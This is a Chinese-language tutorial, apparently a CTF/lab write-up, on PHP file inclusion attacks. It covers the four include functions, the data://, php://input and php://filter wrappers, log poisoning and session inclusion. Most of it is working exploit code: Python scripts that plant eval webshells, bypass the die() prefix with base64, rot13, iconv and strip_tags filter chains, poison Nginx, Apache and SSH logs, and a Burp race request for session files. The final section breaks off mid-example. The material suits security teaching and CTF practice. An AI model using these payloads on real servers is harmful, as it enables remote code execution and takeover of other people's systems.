文件包含漏洞手法总结

废话不多说直接开始讲

函数

这个是文件包含基础,在函数这个板块我们了解的主要是文件包含相关的函数

主要有两大类:文件包含函数(四小只),文件系统函数

在这里先了解一下四小只文件包含函数

文件包含函数有四小只是哪四小只呢?

1
includerequireinclude_oncerequire_once
1
2
3
4
5
6
7
8
9
10
11
12
PHP文件包含函数有以下四种:

include
inclued_once
require
require_once
require()/require_once():如果在包含过程中有错,那么直接退出,不执行进一步操作。
include()/include_once(): 如果在包含过程中出错,只会发出警告

加上后缀_once的作用:如果文件已经包含过了,那么不会再次包含

当利用这四大漏洞函数包含文件的时候,不论什么类型的文件,都会作为PHP脚本解析(注意这句话的意思,这个的意思是文件里面的内容需要使用php的标签包裹住)

include

在这里我们介绍其中的第一个include函数

这里我们可以做一个实验

1.php

1
<?php @eval($_POST['cmd']);?>

index.php

1
2
3
4
<?php
include '1.php';
echo "成功包含";
?>

执行结果

可以发现是可以执行webshell的

可以试一试这个函数的一个特性,包含不存在的文件的时候报错,不影响下一步

image-20260408184610315

可以发现可以执行echo

还有一个特性(只要文件的内容是php代码,就可以执行)可以试一试,在同一个目录下面写入文件

phpinfo.txt

1
<?php phpinfo();?>

index.php

1
2
3
<?php 
include "phpinfo.txt";
?>

image-20260408185222367

require

1.php

还是使用上面那个文件

index.php

文件修改为

1
2
3
4
<?php
require '1.php';
echo "成功包含";
?>

image-20260408184235176

发现还是可以执行

还可以试一试这个函数遇到没有的文件包含会直接报错不会,执行下一步

index.php

1
2
3
4
<?php
require "2.php";
echo 123;
?>

image-20260408185529953

执行不了

include_once

用法还是那个用法

这里试一试他的特性,遇到包含过的函数是不会再一次包含的

1
2
3
4
5
<?php
include_once "1.php";
include_once "1.php";
echo 123;
?>

image-20260408185843708

可以注意到这个还是可以使用的,这个时候我们可以知道,这个只是不会使用两个1.php

但是遇到包含两次是不会报错的

require_once

使用方法都是一样的

在这里就跳过了

file_get_contents

index.php

1
2
3
4
<?php
$file = file_get_contents("1.php");
echo $file ;
?>

这个函数是可以将文件内容赋值给变量

这样就可以输出文件内容了

image-20260408190657728

注意,当我们包含的文件是php代码的时候,需要查看文件源代码才能看到

file_put_contents

index.php

1
2
3
4
5
<?php
$file = $_GET['file'];
$data = $_GET['data'];
echo file_put_contents($file,$data);
?>

传入参数

1
?file=3.php&data=woshishui

可以发现输出的是写入内容的数字

readfile

index.php

1
2
3
4
<?php
echo readfile('1.php');
echo readfile('1.txt');
?>

这个函数是可以读取文件内容的函数,返回的内容是文件的字符数量

image-20260408192412157

注意当文件内容是php代码的时候,我们得使用查看源代码才能看到

php伪协议

在细致的讲php伪协议之前我们先大致的了解一下

1
2
3
4
5
6
7
8
9
10
11
12
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

上面这些是php所支持的伪协议

下面有一个图片可以形象的说明了伪协议的利用以及利用条件

123sdfj

接下来就开始讲各个伪协议的使用方法

file://

基本的使用方法

1
2
3
4
<?php
$file = $_GET['file']
include $file;
?>

注意使用这个一定要绝对路径

可以这样发包

1
2
3
4
5
import requests
url = 'http://192.168.8.140:8899/include/1.php/'
data = {'file':'file://C:/phpstudy_pro/WWW/include/include/1.txt'}
r = requests.get(url, params=data)
print(r.text)

但是如果我们使用相对路径是使用不了的

1
2
3
4
5
import requests
url = 'http://192.168.8.140:8899/include/1.php/'
data = {'file':'file://./1.txt'}
r = requests.get(url, params=data)
print(r.text)

data://

data伪协议是将我所执行的内容当做文件内容传给include等包含函数

这个伪协议是可以直接执行php代码的

在实验之前我们需要配置一下php.ini文件

1
2
allow_url_fopen = On
allow_url_include = On

我们可以自己实验一下,主要是感受data伪协议是怎么将我们输入的内容当做文件内容的

1
2
3
4
5
6
7
8
<?php
$file1 = $_GET['file1'];
$file2 = $_GET['file2'];
if (file_get_contents($file1) == 'nihao')
{
include $file2;
}
?>

可以知道这个的条件是如果$file1的内容是nihao则包含$file2

于是可以这样构造python代码

1
2
3
4
5
import requests
url = 'http://192.168.8.140:8899/include/1.php/'
data = {'file1':'data://text/plain,nihao','file2':'1.txt'}
r = requests.get(url, params=data)
print(r.text)

这个例子就很好的知道了我们是可以控制文件内容了

data://伪协议有两种格式,一种是明文一种是base64

data://明文

基本结构

1
data://text/plain,PHP代码

关键注意:
text/plain:表示传递的是 “纯文本数据”;
PHP 代码中的特殊字符(如空格、&、=)必须 URL 编码(比如空格编码成%20);

于是开始测试一下

在服务端的代码是

1
2
3
4
<?php
$file = $_GET['file'];
include $file;
?>

然后使用攻击的代码执行

1
2
3
4
5
6
import requests

url = 'http://192.168.8.140:8899/include/1.php'
data = {'file': 'data://text/plain,<?php phpinfo();?>'}
r = requests.get(url, params=data)
print(r.text)

虽然这个也可以获得phpinfo但是最好还是使用URL编码之后的结果

1
2
3
4
5
6
import requests

url = 'http://192.168.8.140:8899/include/1.php'
data = {'file': 'data://text/plain,%3C%3Fphp%20phpinfo%28%29%3B%3F%3E'}
r = requests.get(url, params=data)
print(r.text)

所以响应的使用的data是可以执行php代码的

exp如下:

1
2
3
4
5
6
7
8
9
import requests

url = 'http://192.168.8.140:8899/include/1.php'
data = {'file': 'data://text/plain,%3C%3Fphp%20%40eval%28%24_POST%5B%22cmd%22%5D%29%3B%20%3F%3E'}
r = requests.get(url, params=data)
url_exp = r.url
payload = {'cmd':'system("whoami");'}
x = requests.post(url_exp, data=payload)
print(x.text)

接下来就是介绍另外一种方式实现data伪协议

data://base64

可以发现这个就是比普通的plain多了一个;base64

基本的使用方法

1
data://text/plain;base64,base64编码之后的php代码

服务端还是使用上面那个代码

于是攻击的python代码也就出来了

1
2
3
4
5
6
7
8
9
import requests

url = 'http://192.168.8.140:8899/include/1.php'
data = {'file': 'data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4'}
r = requests.get(url, params=data)
x = r.url
payload = {'cmd':'system("whoami");'}
print(requests.post(x, data=payload).text)

使用这个方法有一个地方是需要注意的

因为这个代码有限制使用=和+,所以我们在bypass的时候,可以这样操作

根据base64解码规则和php中base64解码宽松性,= 在解码过程开始前会被移除,所以不会影响解码结果,但是+号作为码表的一部分移除会导致解码不正确,注意分别

如果遇到+可以在代码后面加随便的字符

在这里就要讲一个经典的例题

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

对于这个代码就很清晰了,过滤了

1
2
 php|~|!|@|#|$|%|^|&|*| 
(|)|-|_|+|=|.

需要绕过,首先想到的是使用data伪协议

值得注意的是这个代码里面过滤了=,所以我们在进行base64编码的时候要删掉=

如果这个时候我们想使用的payload是

1
data://text/plain;base64,<?php eval($_POST['monica']);?>

怎么操作呢

<?php eval($_POST['monica']);?>这个base64编码之后的结果是PD9waHAgZXZhbCgkX1BPU1RbIm1vbmljYSJdKTs/Pg==

base64是当要编码的字符不满足4的倍数的时候会把少的字符填充为=等于号

有两个=我在后面添加两个随便的字符是可以让=消失的

于是又了exp如下

1
2
3
4
5
6
7
8
9
10
11
import requests
import base64
url = 'http://192.168.8.140:8899/include/1.php'
php = '<?php eval($_POST["monica"]);?>aa'
php_base64 = base64.b64encode(php.encode()).decode()
print(php_base64)
data = {'file': 'data://text/plain;base64,'+php_base64}
r = requests.get(url, params=data)
x = r.url
payload = {'monica':'system("whoami");'}
print(requests.post(x, data=payload).text)

php://input

现在我们开始来到了另外的一个伪协议php://input

php://input 是 PHP 的内置伪协议(不是真实文件),它的核心作用是:读取 POST 请求的原始数据(不经过 PHP 解析)

使用可以把POST 请求发过来的原始数据直接读取到

如果只是需要读取数据的话allow_url_include = Off就可以了,但是我相信ctfer更愿意后者,执行代码allow_url_include = On

为什么可以使用这个进行文件包含

php://input 是 PHP 的内置伪协议,它并非指向真实文件,而是直接映射到本次 HTTP 请求的 POST 原始数据体(非 GET 参数,也非表单键值对的解析后数据)。当把 php://input 作为 “文件名” 传给包含函数时,PHP 会把 POST 原始数据当作 “文件内容” 读取,进而解析执行其中的 PHP 代码 —— 相当于跳过了读取服务器本地文件的步骤,直接让 PHP 执行你通过 POST 提交的任意代码。

在详细的讲使用之前我们先看看注意事项

enctype=”multipart/form-data” 时使用php://input是无效的

enctype 是 HTML 表单的属性,用来指定表单数据提交的编码方式,一共有四种方式

img

  • application/x-www-form-urlencoded:默认值,普通表单提交(键值对);
  • multipart/form-data:用于上传文件(比如<input type="file">),数据会被分割成 “块” 传输。

为什么这种编码下 php://input 无效?
PHP 的设计规则:
当 POST 请求的Content-Typemultipart/form-data(即表单设了enctype="multipart/form-data“)时,PHP 会把 POST 数据解析到$_FILES/$_POST中,同时清空 php://input 的内容;
此时读取php://input会得到空字符串,自然无法执行你提交的代码。

不过还好的是在请求的时候默认使用的是

application/x-www-form-urlencoded

依旧来一个漏洞页面

1
2
3
4
<?php
$file = $_GET['file'];
include $file;
?>

执行

1
2
3
4
5
6
7
import requests
import base64
url = 'http://192.168.8.140:8899/include/1.php'
payload1 = {'file':'php://input'}
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = requests.get(url, params=payload1)
print(requests.post(r.url,headers=headers,data='<?php system("whoami");?>').text)

扩大危害方面可以写入一个木马

1
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

这里其实不需要执行headers,在这里我只是为了明确注意事项而已

在这里还有一个注意事项,我们在使用hackerbar浏览器插件的时候,是不能使用这个方法的

因为使用这个工具的话他会自己进行URL编码,导致破坏原本的文件结构,导致命令执行不了

而且hackbar使用的时候,使用post提交这个功能是不能直接传没有变量的参数的

img

所以我们还是使用python或者是curl命令或者使用burp

img

php://filter

大概的介绍

现在来到最后一个经常使用的伪协议php://filter

这个伪协议十分的重要,主要的功能是可以转换编码等各种操作

使用方法

1
2
3
php://filter/过滤器名称/resource=要处理的文件
php://filter/read=过滤器名称/resource=要处理的文件
php://filter/write=过滤器名称/resource=要处理的文件

过滤器有多少种形式呢?

接下来就看php://filter到底有多少种使用方法

先大致的看一看有多少种使用方法之后再细将分别的功能

注意一下没有read和writer的时候默认是read

字符串过滤器(这个有三种)

第一种rot13编码

1
2
3
php://filter/string.rot13/resource=要处理的文件
php://filter/read=string.rot13/resource=文件名
php://filter/write=string.rot13/resource=文件名

第二种大写或者小写

1
2
3
4
5
6
# 读
php://filter/read=string.toupper/resource=要处理的文件
php://filter/read=string.tolower/resource=要处理的文件
# 写
php://filter/write=string.toupper/resource=要处理的文件
php://filter/write=string.tolower/resource=要处理的文件

第三种去除html、PHP语言标签

1
2
php://filter/read=string.strip_tags/resource=要处理的文件
php://filter/write=string.strip_tags/resource=要处理的文件

转换过滤器(这个有三种)

第一种base64(有解码和编码)

1
2
3
4
5
6
7
8
# 编码
php://filter/convert.base64-encode/resource=文件名
php://filter/read=convert.base64-encode/resource=文件名
php://filter/write=convert.base64-encode/resource=文件名
# 解码
php://filter/convert.base64-decode/resource=文件名
php://filter/read=convert.base64-decode/resource=文件名
php://filter/write=convert.base64-decode/resource=文件名

第二种字符编码转换器

形式

1
php://filter/read=convert.iconv.源编码.目标编码/resource=文件

举一个例子

1
php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

第三种电子邮件设计的编码

1
php://filter/read=convert.quoted-printable-decode/resource=email.txt

压缩过滤器(了解即可)

1
2
php://filter/read=zlib.deflate/resource=test.txt
php://filter/read=zlib.inflate/resource=test.txt.gz

刚刚我们大致的已经了解了这些过滤器长什么样子,现在开始细致的讲这些过滤器的使用方法

string.rot13

服务端1.php

1
2
3
4
<?php 
$file = $_GET['file'];
include $file;
?>

使用python攻击

1
2
3
4
5
6
7
8
import requests
import codecs

url = 'http://192.168.8.140:8899/include/1.php'
payload = {'file':'php://filter/string.rot13/resource=1.txt'}
r = requests.get(url, params=payload)

print(codecs.decode(r.text,'rot_13'))

这里有一个值得关注的问题,当我们要读取的文件如果是php结构的代码怎么办?可以读取吗?

我们修改1.txt文件的内容

1
2
3
4
<?php
$flag = 'woshi flag';
echo $file;
?>

然后我们继续读取

使用python代码

1
2
3
4
5
import requests
url = 'http://192.168.8.140:8899/include/1.php'
payload = {'file':'php://filter/string.rot13/resource=1.txt'}
r = requests.get(url, params=payload)
print(r.text)

返回的结果是

1
2
<br />
<b>Parse error</b>: syntax error, unexpected T_VARIABLE in <b>C:\phpstudy_pro\WWW\include\include\1.txt</b> on line <b>2</b><br />

显示的是一个语法报错为什么呢?因为rot13只对26个英文字母操作,所以短标签是不会转化的

如果我们将1.txt文件里面的内容改为

1
2
3
4
<?cuc
$synt = 'jbfuv synt';
rpub $synt;
?>

然后再读取

1
2
3
4
5
import requests
url = 'http://192.168.8.140:8899/include/1.php'
payload = {'file':'php://filter/read=string.rot13/resource=1.txt'}
r = requests.get(url, params=payload)
print(r.text)

就可以得到flag了

下面还有一个例子也是可以体现rot13的魅力,可以绕过限制

看到服务端的代码

1
2
3
4
5
6
7
8
9
<?php
$file = $_GET['file'];
$data = file_get_contents($file);
if (preg_match('/flag/',$data)){
echo 'nonono';
}else{
include $file;
}
?>

1.txt里面的内容是

1
flag={niahodfaohdfniahoehf}

执行

1
2
3
4
5
import requests
url = 'http://192.168.8.140:8899/include/1.php'
payload = {'file':'php://filter/read=string.rot13/resource=1.txt'}
r = requests.get(url, params=payload)
print(r.text)

即可

接下来体验一下使用writer的用法

看到服务端的代码

1
2
3
4
5
6
7
8
9
10
<?php
$file = $_GET['file'];
$data = $_POST['data'];
file_put_contents($file,"hahaha,hacker?".$data);
if (preg_match('/hacker/',file_get_contents($file))){
die('hhhhhhh');
}else{
echo 'good';
}
?>

看各位能不能只使用rot13绕过一下

1
2
3
4
5
6
import requests
url = 'http://192.168.8.140:8899/include/1.php'
payload = 'php://filter/write=string.rot13/resource=shell.php'
webshell = '<?cuc @riny($_CBFG["pzq"]); ?>'
print(requests.post(url,params={'file':payload}, data={'data':webshell}).text)
print(requests.post('http://192.168.8.140:8899/include/shell.php',data={'cmd':'system("whoami");'}).text)

使用这个python代码是可以执行的

这个时候就是使用rot13的write方法

这个的灵感来自于php://filter 的死亡绕过,但是使用rot13是绕过不了死亡函数的原因还是上面的那个原因,rot13编码改变不了<>符号

convert.base64

来到了base64了

基本的使用方法

1
php://filter/read=convert.base64-encode/resource=文件

服务端的代码如下

1
2
3
4
<?php 
$file = $_GET['file'];
include $file;
?>

执行python

1
2
3
import requests
url = 'http://192.168.8.140:8899/include/1.php'
print(requests.get(url,params={'file':'php://filter/convert.base64-encode/resource=flag.txt'}).text)

得到flag

再看到另外一个服务端的代码

1
2
3
4
5
6
7
8
9
<?php 
$file = $_GET['file'];
$waf = file_get_contents($file);
if (preg_match('/flag/',$waf)){
die('hhhhh');
}else{
echo($waf);
}
?>

执行python

1
2
3
4
5
import requests
import base64
url = 'http://192.168.8.140:8899/include/1.php'
en = requests.get(url,params={'file':'php://filter/convert.base64-encode/resource=flag.txt'}).text
print(base64.b64decode(en.encode()).decode())

依然可以绕过

接下来就可以看到著名的死亡绕过

服务端的代码如下

1
2
3
4
5
<?php
$file = $_GET['file'];
$data = $_POST['data'];
file_put_contents($file,"<?php die('hhhhhhh') ?>".$data);
?>

不难想到可以这样写

1
2
3
4
5
6
7
8
9
10
11
import requests
import base64

payload = 'aaa'+base64.b64encode("<?php eval($_POST['cmd']); ?>".encode()).decode()
print(payload)

url = 'http://192.168.8.140:8899/include/1.php'
r = requests.post(url,params={'file':'php://filter/write=convert.base64-decode/resource=shell.php'},data={'data':payload})
print(r.text)
print(requests.post('http://192.168.8.140:8899/include/shell.php',data={'cmd':'system("whoami");'}).text)

我们先将一句话<?php eval($_POST['cmd']); ?>进行base64编码,得到结果之后在前面加aaa,加aaa的目的是为了和<?php die('hhhhhhh')?>凑成不影响后面一句话base64解码的语句

使用这个python代码可以感受一下

1
2
3
4
5
6
7
8
import base64
data = "<?php die('hhhhhhh') ?>"
payload = "<?php eval($_POST['cmd']); ?>"
payload_en = 'aaa' + base64.b64encode(payload.encode()).decode()
x = data + payload_en
print(x)
x_de = base64.b64decode(x)
print(x_de)

还有一种是可以执行任意命令的

首先看到服务端的代码

1
2
3
4
5
6
<?php
$file = $_GET['file'];
readfile($file);
echo '<br>';
include $file;
?>

发现里面有两个文件读取函数,这下我们看raedfile函数与include函数能不能执行命令

1
2
3
4
5
6
7
import requests

url = 'http://192.168.8.140:8899/include/1.php'
r = requests.post(url,params={'file':'php://filter/convert.base64-decode/resource=php://input'},data='PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg==')
print(r.request.url)
print(r.request.body)
print(r.text)

执行这个可以发现输出的结果是

1
2
3
http://192.168.8.140:8899/include/1.php?file=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3Dphp%3A%2F%2Finput
PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg==
<?php system("whoami");?><br>win-jkgn2kfimmk\administrator

只有include执行的任意命令,readfile则没有

convert.quoted

这种编码的规则如下

1
2
ASCII 字符保持不变
ASCII 字符和特殊字符编码为 =XX

实验一下

1
2
3
4
<?php
$data = "你好,世界! Hello, World!";
file_put_contents('php://filter/write=convert.quoted-printable-encode/resource=3.php', $data);
?>

看到3.php文件里面的内容如下

1
=E4=BD=A0=E5=A5=BD=EF=BC=8C=E4=B8=96=E7=95=8C=EF=BC=81 Hello, World!

所以说这个编码实际利用起来还是很有局限的

但是这个又有一个额外的操作,请不要眨眼,一步一步的跟我做

服务端的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$file = $_GET['file'];
$data = $_POST['data'];
echo $data;
$hello_data = '你好ctfer'.$data;
echo $hello_data;
file_put_contents($file,$hello_data);
if (preg_match('/你好ctfer/',file_get_contents($file))){
file_put_contents('test.txt', '');
}else{
echo 'good';
}
?>

这个代码就是一个需要绕过判定字符的机制

很简单,于是我们使用python

1
2
3
4
5
import requests

url = 'http://192.168.8.140:8899/include/1.php'
r = requests.post(url,params={'file':'php://filter/write=convert.quoted-printable-encode/resource=shell.php'},data={'data':'<?php @system($_GET["cmd"]);?>'})
print(r.text)

执行但是这个时候会发现一个现象

注意看,输出结果

1
2
<?php @system($_GET["cmd"]);?>你好ctfer<?php @system($_GET["cmd"]);?><br />
<b>Fatal error</b>: Allowed memory size of 268435456 bytes exhausted (tried to allocate 343932928 bytes) in <b>C:\phpstudy_pro\WWW\include\include\1.php</b> on line <b>7</b><br />

有内存过大的报错,为什么????

哈哈哈肯定是有原因的

1
https://deb.freexian.com/extended-lts/tracker/CVE-2024-11233

看到这个报告可以知道convert.quoted-printable-decode 过滤器在实现上的一个内存处理缺陷

通过这个报告我们可以知道这个内存溢出漏洞影响的版本还是很多的

于是我们可以这样设计题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
include '3.php';

register_shutdown_function(function() {
$error = error_get_last();
// 使用 array() 替代 []
if ($error && in_array($error['type'], array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR))) {
echo '捕获到致命错误:' . $error['message'];
global $flag; // 注意:需要在函数内访问全局变量
echo $flag;
}
});

$file = $_GET['file'];
$data = $_POST['data'];

$hello_data = '你好ctfer' . $data;
echo $hello_data;
file_put_contents($file, $hello_data);

if (preg_match('/你好ctfer/', file_get_contents($file))) {
file_put_contents('test.txt', '');
} else {
echo 'good';
}
?>

可以看到这个题目设计了一个异常处理,如果有错误我们就输出flag

于是使用convert.quoted-decode是可以直接执行的

1
2
3
4
5
import requests

url = 'http://192.168.8.140:8899/include/1.php'
r = requests.post(url,params={'file':'php://filter/write=convert.quoted-printable-encode/resource=shell.php'},data={'data':'<?php @system($_GET["cmd"]);?>'})
print(r.text)

至此convert.quoted就告一段落了

接下来还是一个重点(好像这个里面全是重点)

convert.iconv

现在来到了convert.iconv.转化器的殿堂

这种转化器叫做字符编码转化器

这个是重中之重

基本使用方法

1
php://filter/read=convert.iconv.源编码.目标编码/resource=文件

convert.iconv.a.b 本质是「把字符编码从 a 转换成 b」,其中:

  • iconv:PHP 的字符编码转换函数(底层依赖 libiconv 库);
  • a:源编码(比如gbkutf-8gb2312);
  • b:目标编码(比如utf-8gbkutf-16);
  • 格式要求:ab之间用.分隔,编码名称不区分大小写(如GBKgbk都可以)

这样的话我们的视野就很开阔了

在这里解释经常看到的一些字符

1
2
3
4
5
6
7
通用编码(必记):常见编码名称为 UTF-8、GBK、GB2312、ASCII,实战价值高,是跨系统通用、解决中文乱码的核心编码;

宽字符编码:常见编码名称为 UCS-2/4、UTF-16/32(BE/LE),实战价值中,用于处理多字节字符(如 Windows 系统文件);

日系特殊编码:常见编码名称为 SJIS、EUC-JP、ISO-2022-JP 等,实战价值极低,仅用于处理日文编码文件,国内几乎不用;

移动设备编码:常见编码名称为 UTF-8-Mobile#DOCOMO 等,实战价值极低,仅适配日本运营商的移动设备编码。

下面这里看到一下可以使用到的字符编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
SJIS-mac(别名:MacJapanese)
SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
SJIS-Mobile#KDDI(别名:SJIS-KDDI)
SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
UTF-8-Mobile#KDDI-A
UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)

在这里主要有以下写法

1
2
3
4
5
php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

php://filter/read=convert.iconv.UTF-16LE.UTF-16BE/resource=a.php

php://filter/read=convert.iconv.UTF-32LE.UTF-32BE/resource=a.php

先理解一下这个是啥我们不使用畸形字符,而是只改变编码方式理解一下

实验

1
2
3
4
<?php 
$file = $_GET['file'];
include $file;
?>

使用下面这些方法都可以实现

1
2
3
4
5
6
?file=convert.iconv.utf-8.utf-16/resource=flag.php
?file=convert.iconv.ASCII.utf-16/resource=flag.php
?file=convert.iconv.ASCII.UCS-2BE/resource=flag.php
?file=convert.iconv.utf-8.utf-7/resource=flag.php
?file=convert.iconv.ASCII.utf-7/resource=flag.php
?file=convert.iconv.ASCII.utf-32/resource=flag.php

在这个过程只是编码方式产生改变了,下面的死亡绕过就需要使用畸形字符构造绕过了

我们做一个实验

运行下面这个php代码

1
2
3
4
5
6
7
8
9
10
11
<?php

// 极简版:正常木马 → UCS-2BE转UCS-2LE → 畸形字符串
$normal = '<?php eval($_POST[1]);?>';
$normaled1 = iconv('UCS-2BE', 'UTF-8', $normal);
echo "第一步:{$normaled1}";
$normaled2 = iconv('UTF-8', 'UCS-2LE', $normaled1);
echo "畸形字符串:{$normaled2}"; // 输出:?<hp pvela$(P_SO[T]1;)>?
$normaled3 = iconv('UCS-2LE','UCS-2BE',$normaled2);
echo "变回来:{$normaled3}";
?>

运行之后可以知道,UCS-2BE与UCS-2LE是可以相互转换的

但是这个代码的有一个不好理解的地方

为什么要让utf-8作为中转

因为

1
2
3
4
首先我们要得到得到畸形一句话
直接 UTF-8→UCS-2LE 只会改变编码格式,不会改变字符形态(还是正常木马)
使用iconv('UCS-2BE', 'UTF-8', $normal)
不是真的把 UCS-2BE 转 UTF-8,而是骗 iconv “按 UCS-2BE 规则解析 UTF-8 的 $normal”,直接得到字节反转后的畸形 UTF-8 字符

是不是很不好理解,没错!至于为什么大家可以好好看上面的那句话

有一个简单的方法

使用下面这个php代码

1
2
3
4
5
6
7
<?php
$a = '<?php eval($_POST[1]);?>';
$b = iconv('UCS-2BE', 'UCS-2LE', $a);
echo $b;
?>

# 输出结果?<hp pvela$(P_SO[T]1;)>?

也是可以执行转化的

现在看是看看能不能绕过死亡函数

1
2
3
4
5
<?php 
$file = $_GET['file'];
$data = $_POST['data'];
isset($file)&&isset($data) ? file_put_contents($file, "<?php die('GAME OVER!') ?>".$data) :print('gundan');
?>

使用这个代码即可

1
2
3
4
5
6
import requests

url = 'http://192.168.8.140:8899/include/1.php'
r = requests.post(url,params={'file':'php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php'},data={'data':'?<hp pvela$(P_SO[T]1;)>?'})
print(r.text)
print(requests.post('http://192.168.8.140:8899/include/shell.php',data={'1':'system("whoami");'}).text)

过滤器嵌套

什么是过滤器嵌套

还是filter,但是使用了两种过滤器

像这种

1
php://filter/write=string.strip_tags|convert.base64-decode/resource=shelll.php

什么意思呢?很简单,就是先执行前面那个过滤器,再执行后面那个过滤器

来一个例子,依旧死亡函数绕过

1
2
3
4
5
<?php 
$file = $_GET['file'];
$data = $_POST['data'];
isset($file)&&isset($data) ? file_put_contents($file, "<?php die('GAME OVER!') ?>".$data) :print('gundan');
?>

怎么办,很简单,思路就是执行

1
file=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php

string.strip_tags是可以将短标签里面的内容全部清除的

先把短标签给清除,再使用base64解码写入,所以说我们的data的内容必然是base64编码之后的结果

执行下面这个代码

1
2
3
4
5
6
import requests

url = 'http://192.168.8.140:8899/include/1.php'
r = requests.post(url,params={'file':'php://filter/string.strip_tags|convert.base64-decode/resource=shell.php'},data={'data':'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'})
print(r.text)
print(requests.post('http://192.168.8.140:8899/include/shell.php',data={'1':'system("whoami");'}).text)

至此php伪协议就结束了

接下来就是将一些特定的漏洞场景

日志文件包含

这里主要讲的是这三个的日志文件包含Nginx与apache与ssh

这三者是差不多的,只需要知道他们各个的日志文件路径即可包含利用

1
2
3
4
5
6
7
8
9
nginx默认日志路径
/var/log/nginx/access.log

apache默认日志路径
/var/log/apache2/access.log
/var/log/httpd/access_log

ssh默认日志路径
/var/log/auth.log

可以使用这个靶场phpinclude_lab:level_13和14

像这种过滤的东西很全的时候可以试一试这个漏洞

1
if(preg_match("/file|http|ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect/i", $file))

使用如下python代码可以解决

1
2
3
4
5
6
import requests
url = 'http://192.168.8.133:8116/'
headers = {'User-Agent': '<?php @eval($_POST[1]);?>'}
r = requests.get(url, headers=headers)
print(r.text)
print(requests.post(url,params={'file':'/var/log/nginx/access.log'},data={'1':'system("ls");'}).text)

同理面对apache的时候也是可以使用的

1
2
3
4
5
6
import requests
url = 'http://192.168.8.133:8117/'
headers = {'User-Agent': '<?php @eval($_POST[1]);?>'}
r = requests.get(url, headers=headers)
print(r.text)
print(requests.post(url,params={'file':'/var/log/apache2/access.log'},data={'1':'system("whoami");'}).text)

下面介绍ssh日志包含

已知ssh日志路径/var/log/auth.log

我们执行这个

1
ssh "<?php @eval($_POST[123]);?>"@192.168.8.133

可以在日志里面留下一个记录

然后包含就可以了

image-20260412191258407

执行效果如下

session文件包含

日志结束之后就是session了

在linux里面session的默认路径如下

1
2
3
/var/lib/sessions/sess_{PHPSESSID}
○ CentOS:/var/lib/php/session;
○ Ubuntu:/var/lib/php/sessions

现在了解一下session文件包含的原理

session 文件的 “命名”(我们能控制的部分)

session 文件的命名规则是:sess_+PHPSESSID的值(比如 Cookie 里设置PHPSESSID=flag,文件就是sess_flag);

我们需要条件竞争

为什么需要使用条件竞争?

PHP 默认开启了session.upload_progress.cleanup = On—— 这个配置的作用是:一旦表单的 POST 数据被服务器读完,就会立刻删除生成的 session 文件

  • 简单说:session 文件 “生得快、死得也快”,我们必须在它被删除前,快速执行 “文件包含” 操作,这种 “抢时间” 的操作就是「条件竞争」(比如用脚本高频请求包含这个 session 文件,直到命中文件未被删除的瞬间)。

PHPSESSID是在cookie里面的

现在开始自己搭建环境,我使用的是win环境

服务端的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
session_start();

function hello_ctf($file){
include($file);
}

isset($_GET['file']) ? hello_ctf($_GET['file']) : '';

highlight_file(__FILE__);

?>

我们现在使用burp无限发包

需要使用以下两个数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /include/1.php?file=C:/phpstudy_pro/Extensions/tmp/tmp/sess_123 HTTP/1.1
Host: phpsec:8000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=123
Connection: keep-alive
Content-Length: 24
Content-Type: application/x-www-form-urlencoded

cmd=system('whoami');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
